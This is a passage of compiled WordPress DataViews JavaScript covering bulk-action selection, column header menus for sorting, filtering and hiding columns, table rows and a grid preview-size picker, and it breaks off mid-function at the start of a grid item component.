function useHasAPossibleBulkAction(actions, item) {
return (0,external_wp_element_namespaceObject.useMemo)(() => {
return actions.some(action => {
return action.supportsBulk && (!action.isEligible || action.isEligible(item));
});
}, [actions, item]);
}
function useSomeItemHasAPossibleBulkAction(actions, data) {
return (0,external_wp_element_namespaceObject.useMemo)(() => {
return data.some(item => {
return actions.some(action => {
return action.supportsBulk && (!action.isEligible || action.isEligible(item));
});
});
}, [actions, data]);
}
function BulkSelectionCheckbox({
selection,
onChangeSelection,
data,
actions,
getItemId
}) {
const selectableItems = (0,external_wp_element_namespaceObject.useMemo)(() => {
return data.filter(item => {
return actions.some(action => action.supportsBulk && (!action.isEligible || action.isEligible(item)));
});
}, [data, actions]);
const selectedItems = data.filter(item => selection.includes(getItemId(item)) && selectableItems.includes(item));
const areAllSelected = selectedItems.length === selectableItems.length;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
className: "dataviews-view-table-selection-checkbox",
__nextHasNoMarginBottom: true,
checked: areAllSelected,
indeterminate: !areAllSelected && !!selectedItems.length,
onChange: () => {
if (areAllSelected) {
onChangeSelection([]);
} else {
onChangeSelection(selectableItems.map(item => getItemId(item)));
}
},
"aria-label": areAllSelected ? (0,external_wp_i18n_namespaceObject.__)('Deselect all') : (0,external_wp_i18n_namespaceObject.__)('Select all')
});
}
function ActionTrigger({
action,
onClick,
isBusy,
items
}) {
const label = typeof action.label === 'string' ? action.label : action.label(items);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
disabled: isBusy,
accessibleWhenDisabled: true,
label: label,
icon: action.icon,
isDestructive: action.isDestructive,
size: "compact",
onClick: onClick,
isBusy: isBusy,
tooltipPosition: "top"
});
}
const dataviews_bulk_actions_EMPTY_ARRAY = [];
function ActionButton({
action,
selectedItems,
actionInProgress,
setActionInProgress
}) {
const registry = (0,external_wp_data_namespaceObject.useRegistry)();
const selectedEligibleItems = (0,external_wp_element_namespaceObject.useMemo)(() => {
return selectedItems.filter(item => {
return !action.isEligible || action.isEligible(item);
});
}, [action, selectedItems]);
if ('RenderModal' in action) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionWithModal, {
action: action,
items: selectedEligibleItems,
ActionTriggerComponent: ActionTrigger
}, action.id);
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionTrigger, {
action: action,
onClick: async () => {
setActionInProgress(action.id);
await action.callback(selectedItems, {
registry
});
setActionInProgress(null);
},
items: selectedEligibleItems,
isBusy: actionInProgress === action.id
}, action.id);
}
function renderFooterContent(data, actions, getItemId, selection, actionsToShow, selectedItems, actionInProgress, setActionInProgress, onChangeSelection) {
const message = selectedItems.length > 0 ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: number of items. */
(0,external_wp_i18n_namespaceObject._n)('%d Item selected', '%d Items selected', selectedItems.length), selectedItems.length) : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: number of items. */
(0,external_wp_i18n_namespaceObject._n)('%d Item', '%d Items', data.length), data.length);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
expanded: false,
className: "dataviews-bulk-actions-footer__container",
spacing: 3,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BulkSelectionCheckbox, {
selection: selection,
onChangeSelection: onChangeSelection,
data: data,
actions: actions,
getItemId: getItemId
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "dataviews-bulk-actions-footer__item-count",
children: message
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
className: "dataviews-bulk-actions-footer__action-buttons",
expanded: false,
spacing: 1,
children: [actionsToShow.map(action => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionButton, {
action: action,
selectedItems: selectedItems,
actionInProgress: actionInProgress,
setActionInProgress: setActionInProgress
}, action.id);
}), selectedItems.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
icon: close_small,
showTooltip: true,
tooltipPosition: "top",
size: "compact",
label: (0,external_wp_i18n_namespaceObject.__)('Cancel'),
disabled: !!actionInProgress,
accessibleWhenDisabled: false,
onClick: () => {
onChangeSelection(dataviews_bulk_actions_EMPTY_ARRAY);
}
})]
})]
});
}
function FooterContent({
selection,
actions,
onChangeSelection,
data,
getItemId
}) {
const [actionInProgress, setActionInProgress] = (0,external_wp_element_namespaceObject.useState)(null);
const footerContentRef = (0,external_wp_element_namespaceObject.useRef)(null);
const bulkActions = (0,external_wp_element_namespaceObject.useMemo)(() => actions.filter(action => action.supportsBulk), [actions]);
const selectableItems = (0,external_wp_element_namespaceObject.useMemo)(() => {
return data.filter(item => {
return bulkActions.some(action => !action.isEligible || action.isEligible(item));
});
}, [data, bulkActions]);
const selectedItems = (0,external_wp_element_namespaceObject.useMemo)(() => {
return data.filter(item => selection.includes(getItemId(item)) && selectableItems.includes(item));
}, [selection, data, getItemId, selectableItems]);
const actionsToShow = (0,external_wp_element_namespaceObject.useMemo)(() => actions.filter(action => {
return action.supportsBulk && action.icon && selectedItems.some(item => !action.isEligible || action.isEligible(item));
}), [actions, selectedItems]);
if (!actionInProgress) {
if (footerContentRef.current) {
footerContentRef.current = null;
}
return renderFooterContent(data, actions, getItemId, selection, actionsToShow, selectedItems, actionInProgress, setActionInProgress, onChangeSelection);
} else if (!footerContentRef.current) {
footerContentRef.current = renderFooterContent(data, actions, getItemId, selection, actionsToShow, selectedItems, actionInProgress, setActionInProgress, onChangeSelection);
}
return footerContentRef.current;
}
function BulkActionsFooter() {
const {
data,
selection,
actions = dataviews_bulk_actions_EMPTY_ARRAY,
onChangeSelection,
getItemId
} = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FooterContent, {
selection: selection,
onChangeSelection: onChangeSelection,
data: data,
actions: actions,
getItemId: getItemId
});
}
;// ./node_modules/@wordpress/icons/build-module/library/arrow-left.js
/**
* WordPress dependencies
*/
const arrowLeft = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M20 11.2H6.8l3.7-3.7-1-1L3.9 12l5.6 5.5 1-1-3.7-3.7H20z"
})
});
/* harmony default export */ const arrow_left = (arrowLeft);
;// ./node_modules/@wordpress/icons/build-module/library/arrow-right.js
/**
* WordPress dependencies
*/
const arrowRight = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "m14.5 6.5-1 1 3.7 3.7H4v1.6h13.2l-3.7 3.7 1 1 5.6-5.5z"
})
});
/* harmony default export */ const arrow_right = (arrowRight);
;// ./node_modules/@wordpress/icons/build-module/library/unseen.js
/**
* WordPress dependencies
*/
const unseen = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M20.7 12.7s0-.1-.1-.2c0-.2-.2-.4-.4-.6-.3-.5-.9-1.2-1.6-1.8-.7-.6-1.5-1.3-2.6-1.8l-.6 1.4c.9.4 1.6 1 2.1 1.5.6.6 1.1 1.2 1.4 1.6.1.2.3.4.3.5v.1l.7-.3.7-.3Zm-5.2-9.3-1.8 4c-.5-.1-1.1-.2-1.7-.2-3 0-5.2 1.4-6.6 2.7-.7.7-1.2 1.3-1.6 1.8-.2.3-.3.5-.4.6 0 0 0 .1-.1.2s0 0 .7.3l.7.3V13c0-.1.2-.3.3-.5.3-.4.7-1 1.4-1.6 1.2-1.2 3-2.3 5.5-2.3H13v.3c-.4 0-.8-.1-1.1-.1-1.9 0-3.5 1.6-3.5 3.5s.6 2.3 1.6 2.9l-2 4.4.9.4 7.6-16.2-.9-.4Zm-3 12.6c1.7-.2 3-1.7 3-3.5s-.2-1.4-.6-1.9L12.4 16Z"
})
});
/* harmony default export */ const library_unseen = (unseen);
;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/table/column-header-menu.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
Menu: column_header_menu_Menu
} = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
function WithMenuSeparators({
children
}) {
return external_wp_element_namespaceObject.Children.toArray(children).filter(Boolean).map((child, i) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_element_namespaceObject.Fragment, {
children: [i > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Separator, {}), child]
}, i));
}
const _HeaderMenu = (0,external_wp_element_namespaceObject.forwardRef)(function HeaderMenu({
fieldId,
view,
fields,
onChangeView,
onHide,
setOpenedFilter,
canMove = true
}, ref) {
var _view$fields;
const visibleFieldIds = (_view$fields = view.fields) !== null && _view$fields !== void 0 ? _view$fields : [];
const index = visibleFieldIds?.indexOf(fieldId);
const isSorted = view.sort?.field === fieldId;
let isHidable = false;
let isSortable = false;
let canAddFilter = false;
let operators = [];
const field = fields.find(f => f.id === fieldId);
if (!field) {
// No combined or regular field found.
return null;
}
isHidable = field.enableHiding !== false;
isSortable = field.enableSorting !== false;
const header = field.header;
operators = sanitizeOperators(field);
// Filter can be added:
// 1. If the field is not already part of a view's filters.
// 2. If the field meets the type and operator requirements.
// 3. If it's not primary. If it is, it should be already visible.
canAddFilter = !view.filters?.some(_filter => fieldId === _filter.field) && !!field.elements?.length && !!operators.length && !field.filterBy?.isPrimary;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(column_header_menu_Menu, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(column_header_menu_Menu.TriggerButton, {
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "compact",
className: "dataviews-view-table-header-button",
ref: ref,
variant: "tertiary"
}),
children: [header, view.sort && isSorted && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
"aria-hidden": "true",
children: sortArrows[view.sort.direction]
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Popover, {
style: {
minWidth: '240px'
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(WithMenuSeparators, {
children: [isSortable && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Group, {
children: SORTING_DIRECTIONS.map(direction => {
const isChecked = view.sort && isSorted && view.sort.direction === direction;
const value = `${fieldId}-${direction}`;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.RadioItem, {
// All sorting radio items share the same name, so that
// selecting a sorting option automatically deselects the
// previously selected one, even if it is displayed in
// another submenu. The field and direction are passed via
// the `value` prop.
name: "view-table-sorting",
value: value,
checked: isChecked,
onChange: () => {
onChangeView({
...view,
sort: {
field: fieldId,
direction
},
showLevels: false
});
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, {
children: sortLabels[direction]
})
}, value);
})
}), canAddFilter && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Group, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Item, {
prefix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: library_funnel
}),
onClick: () => {
setOpenedFilter(fieldId);
onChangeView({
...view,
page: 1,
filters: [...(view.filters || []), {
field: fieldId,
value: undefined,
operator: operators[0]
}]
});
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, {
children: (0,external_wp_i18n_namespaceObject.__)('Add filter')
})
})
}), (canMove || isHidable) && field && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(column_header_menu_Menu.Group, {
children: [canMove && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Item, {
prefix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: arrow_left
}),
disabled: index < 1,
onClick: () => {
var _visibleFieldIds$slic;
onChangeView({
...view,
fields: [...((_visibleFieldIds$slic = visibleFieldIds.slice(0, index - 1)) !== null && _visibleFieldIds$slic !== void 0 ? _visibleFieldIds$slic : []), fieldId, visibleFieldIds[index - 1], ...visibleFieldIds.slice(index + 1)]
});
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, {
children: (0,external_wp_i18n_namespaceObject.__)('Move left')
})
}), canMove && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Item, {
prefix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: arrow_right
}),
disabled: index >= visibleFieldIds.length - 1,
onClick: () => {
var _visibleFieldIds$slic2;
onChangeView({
...view,
fields: [...((_visibleFieldIds$slic2 = visibleFieldIds.slice(0, index)) !== null && _visibleFieldIds$slic2 !== void 0 ? _visibleFieldIds$slic2 : []), visibleFieldIds[index + 1], fieldId, ...visibleFieldIds.slice(index + 2)]
});
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, {
children: (0,external_wp_i18n_namespaceObject.__)('Move right')
})
}), isHidable && field && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Item, {
prefix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: library_unseen
}),
onClick: () => {
onHide(field);
onChangeView({
...view,
fields: visibleFieldIds.filter(id => id !== fieldId)
});
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, {
children: (0,external_wp_i18n_namespaceObject.__)('Hide column')
})
})]
})]
})
})]
});
});
// @ts-expect-error Lift the `Item` type argument through the forwardRef.
const ColumnHeaderMenu = _HeaderMenu;
/* harmony default export */ const column_header_menu = (ColumnHeaderMenu);
;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/utils/get-clickable-item-props.js
function getClickableItemProps({
item,
isItemClickable,
onClickItem,
className
}) {
if (!isItemClickable(item) || !onClickItem) {
return {
className
};
}
return {
className: className ? `${className} ${className}--clickable` : undefined,
role: 'button',
tabIndex: 0,
onClick: event => {
// Prevents onChangeSelection from triggering.
event.stopPropagation();
onClickItem(item);
},
onKeyDown: event => {
if (event.key === 'Enter' || event.key === '' || event.key === ' ') {
// Prevents onChangeSelection from triggering.
event.stopPropagation();
onClickItem(item);
}
}
};
}
;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/table/column-primary.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function ColumnPrimary({
item,
level,
titleField,
mediaField,
descriptionField,
onClickItem,
isItemClickable
}) {
const clickableProps = getClickableItemProps({
item,
isItemClickable,
onClickItem,
className: 'dataviews-view-table__cell-content-wrapper dataviews-title-field'
});
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 3,
justify: "flex-start",
children: [mediaField && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataviews-view-table__cell-content-wrapper dataviews-column-primary__media",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(mediaField.render, {
item: item
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 0,
children: [titleField && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
...clickableProps,
children: [level !== undefined && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
className: "dataviews-view-table__level",
children: ['—'.repeat(level), "\xA0"]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(titleField.render, {
item: item
})]
}), descriptionField && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(descriptionField.render, {
item: item
})]
})]
});
}
/* harmony default export */ const column_primary = (ColumnPrimary);
;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/table/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function TableColumnField({
item,
fields,
column
}) {
const field = fields.find(f => f.id === column);
if (!field) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataviews-view-table__cell-content-wrapper",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(field.render, {
item
})
});
}
function TableRow({
hasBulkActions,
item,
level,
actions,
fields,
id,
view,
titleField,
mediaField,
descriptionField,
selection,
getItemId,
isItemClickable,
onClickItem,
onChangeSelection
}) {
var _view$fields;
const hasPossibleBulkAction = useHasAPossibleBulkAction(actions, item);
const isSelected = hasPossibleBulkAction && selection.includes(id);
const [isHovered, setIsHovered] = (0,external_wp_element_namespaceObject.useState)(false);
const {
showTitle = true,
showMedia = true,
showDescription = true
} = view;
const handleMouseEnter = () => {
setIsHovered(true);
};
const handleMouseLeave = () => {
setIsHovered(false);
};
// Will be set to true if `onTouchStart` fires. This happens before
// `onClick` and can be used to exclude touchscreen devices from certain
// behaviours.
const isTouchDeviceRef = (0,external_wp_element_namespaceObject.useRef)(false);
const columns = (_view$fields = view.fields) !== null && _view$fields !== void 0 ? _view$fields : [];
const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField && showDescription;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("tr", {
className: dist_clsx('dataviews-view-table__row', {
'is-selected': hasPossibleBulkAction && isSelected,
'is-hovered': isHovered,
'has-bulk-actions': hasPossibleBulkAction
}),
onMouseEnter: handleMouseEnter,
onMouseLeave: handleMouseLeave,
onTouchStart: () => {
isTouchDeviceRef.current = true;
},
onClick: () => {
if (!hasPossibleBulkAction) {
return;
}
if (!isTouchDeviceRef.current && document.getSelection()?.type !== 'Range') {
onChangeSelection(selection.includes(id) ? selection.filter(itemId => id !== itemId) : [id]);
}
},
children: [hasBulkActions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("td", {
className: "dataviews-view-table__checkbox-column",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataviews-view-table__cell-content-wrapper",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSelectionCheckbox, {
item: item,
selection: selection,
onChangeSelection: onChangeSelection,
getItemId: getItemId,
titleField: titleField,
disabled: !hasPossibleBulkAction
})
})
}), hasPrimaryColumn && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("td", {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_primary, {
item: item,
level: level,
titleField: showTitle ? titleField : undefined,
mediaField: showMedia ? mediaField : undefined,
descriptionField: showDescription ? descriptionField : undefined,
isItemClickable: isItemClickable,
onClickItem: onClickItem
})
}), columns.map(column => {
var _view$layout$styles$c;
// Explicit picks the supported styles.
const {
width,
maxWidth,
minWidth
} = (_view$layout$styles$c = view.layout?.styles?.[column]) !== null && _view$layout$styles$c !== void 0 ? _view$layout$styles$c : {};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("td", {
style: {
width,
maxWidth,
minWidth
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TableColumnField, {
fields: fields,
item: item,
column: column
})
}, column);
}), !!actions?.length &&
/*#__PURE__*/
// Disable reason: we are not making the element interactive,
// but preventing any click events from bubbling up to the
// table row. This allows us to add a click handler to the row
// itself (to toggle row selection) without erroneously
// intercepting click events from ItemActions.
/* eslint-disable jsx-a11y/no-noninteractive-element-interactions, jsx-a11y/click-events-have-key-events */
(0,external_ReactJSXRuntime_namespaceObject.jsx)("td", {
className: "dataviews-view-table__actions-column",
onClick: e => e.stopPropagation(),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ItemActions, {
item: item,
actions: actions
})
})
/* eslint-enable jsx-a11y/no-noninteractive-element-interactions, jsx-a11y/click-events-have-key-events */]
});
}
function ViewTable({
actions,
data,
fields,
getItemId,
getItemLevel,
isLoading = false,
onChangeView,
onChangeSelection,
selection,
setOpenedFilter,
onClickItem,
isItemClickable,
view
}) {
var _view$fields2;
const headerMenuRefs = (0,external_wp_element_namespaceObject.useRef)(new Map());
const headerMenuToFocusRef = (0,external_wp_element_namespaceObject.useRef)();
const [nextHeaderMenuToFocus, setNextHeaderMenuToFocus] = (0,external_wp_element_namespaceObject.useState)();
const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data);
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (headerMenuToFocusRef.current) {
headerMenuToFocusRef.current.focus();
headerMenuToFocusRef.current = undefined;
}
});
const tableNoticeId = (0,external_wp_element_namespaceObject.useId)();
if (nextHeaderMenuToFocus) {
// If we need to force focus, we short-circuit rendering here
// to prevent any additional work while we handle that.
// Clearing out the focus directive is necessary to make sure
// future renders don't cause unexpected focus jumps.
headerMenuToFocusRef.current = nextHeaderMenuToFocus;
setNextHeaderMenuToFocus(undefined);
return;
}
const onHide = field => {
const hidden = headerMenuRefs.current.get(field.id);
const fallback = hidden ? headerMenuRefs.current.get(hidden.fallback) : undefined;
setNextHeaderMenuToFocus(fallback?.node);
};
const hasData = !!data?.length;
const titleField = fields.find(field => field.id === view.titleField);
const mediaField = fields.find(field => field.id === view.mediaField);
const descriptionField = fields.find(field => field.id === view.descriptionField);
const {
showTitle = true,
showMedia = true,
showDescription = true
} = view;
const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField && showDescription;
const columns = (_view$fields2 = view.fields) !== null && _view$fields2 !== void 0 ? _view$fields2 : [];
const headerMenuRef = (column, index) => node => {
if (node) {
headerMenuRefs.current.set(column, {
node,
fallback: columns[index > 0 ? index - 1 : 1]
});
} else {
headerMenuRefs.current.delete(column);
}
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("table", {
className: dist_clsx('dataviews-view-table', {
[`has-${view.layout?.density}-density`]: view.layout?.density && ['compact', 'comfortable'].includes(view.layout.density)
}),
"aria-busy": isLoading,
"aria-describedby": tableNoticeId,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("thead", {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("tr", {
className: "dataviews-view-table__row",
children: [hasBulkActions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("th", {
className: "dataviews-view-table__checkbox-column",
scope: "col",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BulkSelectionCheckbox, {
selection: selection,
onChangeSelection: onChangeSelection,
data: data,
actions: actions,
getItemId: getItemId
})
}), hasPrimaryColumn && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("th", {
scope: "col",
children: titleField && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu, {
ref: headerMenuRef(titleField.id, 0),
fieldId: titleField.id,
view: view,
fields: fields,
onChangeView: onChangeView,
onHide: onHide,
setOpenedFilter: setOpenedFilter,
canMove: false
})
}), columns.map((column, index) => {
var _view$layout$styles$c2;
// Explicit picks the supported styles.
const {
width,
maxWidth,
minWidth
} = (_view$layout$styles$c2 = view.layout?.styles?.[column]) !== null && _view$layout$styles$c2 !== void 0 ? _view$layout$styles$c2 : {};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("th", {
style: {
width,
maxWidth,
minWidth
},
"aria-sort": view.sort?.direction && view.sort?.field === column ? sortValues[view.sort.direction] : undefined,
scope: "col",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu, {
ref: headerMenuRef(column, index),
fieldId: column,
view: view,
fields: fields,
onChangeView: onChangeView,
onHide: onHide,
setOpenedFilter: setOpenedFilter
})
}, column);
}), !!actions?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("th", {
className: "dataviews-view-table__actions-column",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "dataviews-view-table-header",
children: (0,external_wp_i18n_namespaceObject.__)('Actions')
})
})]
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("tbody", {
children: hasData && data.map((item, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TableRow, {
item: item,
level: view.showLevels && typeof getItemLevel === 'function' ? getItemLevel(item) : undefined,
hasBulkActions: hasBulkActions,
actions: actions,
fields: fields,
id: getItemId(item) || index.toString(),
view: view,
titleField: titleField,
mediaField: mediaField,
descriptionField: descriptionField,
selection: selection,
getItemId: getItemId,
onChangeSelection: onChangeSelection,
onClickItem: onClickItem,
isItemClickable: isItemClickable
}, getItemId(item)))
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx({
'dataviews-loading': isLoading,
'dataviews-no-results': !hasData && !isLoading
}),
id: tableNoticeId,
children: !hasData && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
children: isLoading ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) : (0,external_wp_i18n_namespaceObject.__)('No results')
})
})]
});
}
/* harmony default export */ const table = (ViewTable);
;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/grid/preview-size-picker.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const viewportBreaks = {
xhuge: {
min: 3,
max: 6,
default: 5
},
huge: {
min: 2,
max: 4,
default: 4
},
xlarge: {
min: 2,
max: 3,
default: 3
},
large: {
min: 1,
max: 2,
default: 2
},
mobile: {
min: 1,
max: 2,
default: 2
}
};
/**
* Breakpoints were adjusted from media queries breakpoints to account for
* the sidebar width. This was done to match the existing styles we had.
*/
const BREAKPOINTS = {
xhuge: 1520,
huge: 1140,
xlarge: 780,
large: 480,
mobile: 0
};
function useViewPortBreakpoint() {
const containerWidth = (0,external_wp_element_namespaceObject.useContext)(dataviews_context).containerWidth;
for (const [key, value] of Object.entries(BREAKPOINTS)) {
if (containerWidth >= value) {
return key;
}
}
return 'mobile';
}
function useUpdatedPreviewSizeOnViewportChange() {
const view = (0,external_wp_element_namespaceObject.useContext)(dataviews_context).view;
const viewport = useViewPortBreakpoint();
return (0,external_wp_element_namespaceObject.useMemo)(() => {
const previewSize = view.layout?.previewSize;
let newPreviewSize;
if (!previewSize) {
return;
}
const breakValues = viewportBreaks[viewport];
if (previewSize < breakValues.min) {
newPreviewSize = breakValues.min;
}
if (previewSize > breakValues.max) {
newPreviewSize = breakValues.max;
}
return newPreviewSize;
}, [viewport, view]);
}
function PreviewSizePicker() {
const viewport = useViewPortBreakpoint();
const context = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
const view = context.view;
const breakValues = viewportBreaks[viewport];
const previewSizeToUse = view.layout?.previewSize || breakValues.default;
const marks = (0,external_wp_element_namespaceObject.useMemo)(() => Array.from({
length: breakValues.max - breakValues.min + 1
}, (_, i) => {
return {
value: breakValues.min + i
};
}), [breakValues]);
if (viewport === 'mobile') {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.RangeControl, {
__nextHasNoMarginBottom: true,
__next40pxDefaultSize: true,
showTooltip: false,
label: (0,external_wp_i18n_namespaceObject.__)('Preview size'),
value: breakValues.max + breakValues.min - previewSizeToUse,
marks: marks,
min: breakValues.min,
max: breakValues.max,
withInputField: false,
onChange: (value = 0) => {
context.onChangeView({
...view,
layout: {
...view.layout,
previewSize: breakValues.max + breakValues.min - value
}
});
},
step: 1
});
}
;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/grid/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
Badge
} = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
function GridItem({
view,
